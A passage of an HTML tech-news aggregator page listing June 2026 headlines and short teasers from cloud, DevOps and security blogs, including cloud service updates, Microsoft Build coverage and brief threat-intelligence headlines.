<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplified-permissions-for-amazon-s3-tables-and-iceberg-materialized-views-are-now-available-in-aws-govcloud-us-regions" class="group relative scroll-mt-24">
        <a href="#h3-simplified-permissions-for-amazon-s3-tables-and-iceberg-materialized-views-are-now-available-in-aws-govcloud-us-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplified permissions for Amazon S3 Tables and Iceberg materialized views are now available in AWS GovCloud (US) Regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplified-permissions-for-amazon-s3-tables-and-iceberg-materialized-views-are-now-available-in-aws-govcloud-us-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Glue Data Catalog now supports AWS IAM-based authorization for Amazon S3 Tables and Apache Iceberg materialized views. With IAM-based authorization, you can define all necessary permissions across</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/06/gdc-s3tables-simplified-permissions-in-aws-govcloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-opensearch-ui-is-now-available-in-govcloud-regions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-opensearch-ui-is-now-available-in-govcloud-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon OpenSearch UI is now available in GovCloud regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-opensearch-ui-is-now-available-in-govcloud-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon OpenSearch Service expands its modernized operational analytics experience to GovCloud regions, including AWS GovCloud (US-East) and AWS GovCloud (US-West), enabling users to gain insights acro</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-ui-govcloud-region"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-seeking-counsel-ongoing-targeted-campaign-against-us-law-firms" class="group relative scroll-mt-24">
        <a href="#h3-seeking-counsel-ongoing-targeted-campaign-against-us-law-firms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-seeking-counsel-ongoing-targeted-campaign-against-us-law-firms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan Introduction From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign e</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-ai-bill-is-out-of-control-cloudflare-can-fix-it-now" class="group relative scroll-mt-24">
        <a href="#h3-your-ai-bill-is-out-of-control-cloudflare-can-fix-it-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your AI bill is out of control. Cloudflare can fix it now.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-ai-bill-is-out-of-control-cloudflare-can-fix-it-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI Gateway now features real-time spend limits to prevent runaway token bills across multiple AI providers. By integrating with Cloudflare Access, companies can use identity-driven budgets and policie</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/ai-gateway-spend-limits/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-metal-to-agent-why-agentic-ai-is-an-application-evolution" class="group relative scroll-mt-24">
        <a href="#h3-from-metal-to-agent-why-agentic-ai-is-an-application-evolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From metal to agent: Why agentic AI is an application evolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-metal-to-agent-why-agentic-ai-is-an-application-evolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re moving beyond simple prompts. The next frontier is agentic AI: autonomous systems that don’t just talk, but act across your enterprise. But as we move into this era, I’m hearing a consistent con</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/metal-agent-why-agentic-ai-application-evolution"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-model-evaluations-prove-your-routing-policy-actually-works" class="group relative scroll-mt-24">
        <a href="#h3-model-evaluations-prove-your-routing-policy-actually-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Model Evaluations: Prove Your Routing Policy Actually Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-model-evaluations-prove-your-routing-policy-actually-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams running inference at scale do not fail because they cannot find a “good” model. They fail because they ship a routing policy that looks fine in a playground, but drifts the moment it sees r</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/model-evaluation-public-preview"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-for-managed-service-for-apache-spark-clusters" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-for-managed-service-for-apache-spark-clusters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What's new for Managed Service for Apache Spark clusters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-for-managed-service-for-apache-spark-clusters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At Google Cloud, our goal is to let you run large-scale analytical and data science workloads with maximum efficiency so you can process big data pipelines, machine learning, and ETL tasks. We recentl</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-debug-deployment-failures-faster-with-the-deployments-tab-in-aws-elastic-beanstalk" class="group relative scroll-mt-24">
        <a href="#h3-debug-deployment-failures-faster-with-the-deployments-tab-in-aws-elastic-beanstalk" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Debug deployment failures faster with the Deployments tab in AWS Elastic Beanstalk
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-debug-deployment-failures-faster-with-the-deployments-tab-in-aws-elastic-beanstalk"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction When a deployment fails, finding the root cause often means piecing together information from multiple sources. You wait for the deployment to finish, request a log bundle, download it, a</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/debug-deployment-failures-faster-with-the-deployments-tab-in-aws-elastic-beanstalk/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1124" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1124" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.124
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1124"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.124 (Insiders) Read the full article</p>
<p><strong>📅 Jun 10, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_124"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-with-foundry-microsoft-bets-the-enterprise-ai-battle-is-about-reliability-not-capability" class="group relative scroll-mt-24">
        <a href="#h3-with-foundry-microsoft-bets-the-enterprise-ai-battle-is-about-reliability-not-capability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 With Foundry, Microsoft bets the enterprise AI battle is about reliability, not capability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-with-foundry-microsoft-bets-the-enterprise-ai-battle-is-about-reliability-not-capability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The agentic AI wave has produced no shortage of impressive demos. What it has produced less of is agents that The post With Foundry, Microsoft bets the enterprise AI battle is about reliability, not c</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/microsoft-foundry-build-2026-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-unlocks-visual-studio-for-developers-left-behind-by-its-own-ai" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-unlocks-visual-studio-for-developers-left-behind-by-its-own-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft unlocks Visual Studio for developers left behind by its own AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-unlocks-visual-studio-for-developers-left-behind-by-its-own-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Microsoft used its Build 2026 conference last week to announce a series of updates to its flagship Visual Studio IDE The post Microsoft unlocks Visual Studio for developers left behind by its own AI a</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/microsoft-visual-studio-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-teams-now-deploy-1000-times-a-month-your-pipeline-wasnt-built-for-that" class="group relative scroll-mt-24">
        <a href="#h3-ai-teams-now-deploy-1000-times-a-month-your-pipeline-wasnt-built-for-that" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI teams now deploy 1,000 times a month. Your pipeline wasn’t built for that.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-teams-now-deploy-1000-times-a-month-your-pipeline-wasnt-built-for-that"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There’s mounting evidence that AI coding tools are delivering on their less outlandish promises. With adoption shifting from 76% in The post AI teams now deploy 1,000 times a month. Your pipeline wasn</p>
<p><strong>📅 Jun 7, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-deployment-pipeline-velocity/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-just-made-the-agent-runtime-free-and-kept-everything-around-it" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-just-made-the-agent-runtime-free-and-kept-everything-around-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft just made the agent runtime free — and kept everything around it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-just-made-the-agent-runtime-free-and-kept-everything-around-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Microsoft has the engineers to build its own agent runtime. At Build 2026 last week, it chose not to, shipping The post Microsoft just made the agent runtime free — and kept everything around it appea</p>
<p><strong>📅 Jun 7, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/microsoft-scout-openclaw-runtime/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-is-accelerating-devops-poor-integrations-are-slowing-it-down" class="group relative scroll-mt-24">
        <a href="#h3-ai-is-accelerating-devops-poor-integrations-are-slowing-it-down" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Is Accelerating DevOps, Poor Integrations Are Slowing It Down
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-is-accelerating-devops-poor-integrations-are-slowing-it-down"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI speeds up software delivery, the real bottleneck isn’t scanning or CI. It’s how safely and predictably change moves across tools, teams, and companies. Something strange is happening in DevOps r</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ai-is-accelerating-devops-poor-integrations-are-slowing-it-down/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ironworm-malware-shares-shai-hulud-traits-takes-threat-to-next-level" class="group relative scroll-mt-24">
        <a href="#h3-ironworm-malware-shares-shai-hulud-traits-takes-threat-to-next-level" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 IronWorm Malware Shares Shai-Hulud Traits, Takes Threat to ‘Next Level’
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ironworm-malware-shares-shai-hulud-traits-takes-threat-to-next-level"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Open source software developers continue to come under attack, with the latest threat being a custom malware that shares many of the attributes of the notorious Shai-Hulud self-propagating worm but co</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ironworm-malware-shares-some-shai-hulud-traits-but-takes-it-to-next-level/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloudflare-acquires-voidzero-to-advance-open-source-vite-ecosystem" class="group relative scroll-mt-24">
        <a href="#h3-cloudflare-acquires-voidzero-to-advance-open-source-vite-ecosystem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloudflare Acquires VoidZero to Advance Open Source Vite Ecosystem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudflare-acquires-voidzero-to-advance-open-source-vite-ecosystem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare this week acquired VoidZero, the maintainer of open source tools such as Vite, Vitest, Rolldown, Oxc, and Vite+ that are used widely to build web application frameworks. Rita Kozlov, vice p</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/cloudflare-acquires-voidzero-to-advance-open-source-vite-ecosystem/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-zig-isnt-10-yet" class="group relative scroll-mt-24">
        <a href="#h3-why-zig-isnt-10-yet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Zig Isn’t 1.0 (Yet)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-zig-isnt-10-yet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most programming languages follow a familiar trajectory: early experimental releases, rapid iteration, and then – at some point – a 1.0 version that signals stability and the potential for serious ado</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/blog/2026/06/05/why-zig-isn-t-1-0-yet/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-java-annotated-monthly-june-2026" class="group relative scroll-mt-24">
        <a href="#h3-java-annotated-monthly-june-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Java Annotated Monthly – June 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-java-annotated-monthly-june-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A fresh edition of Java Annotated Monthly has landed! The world of software development keeps moving at full speed, and this month’s selection helps you keep up without drowning in tabs. Inside, you’l</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/06/java-annotated-monthly-june-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-tokens-per-watt-using-ubuntu-2604-lts-for-ai" class="group relative scroll-mt-24">
        <a href="#h3-beyond-tokens-per-watt-using-ubuntu-2604-lts-for-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond tokens per watt – using Ubuntu 26.04 LTS for AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
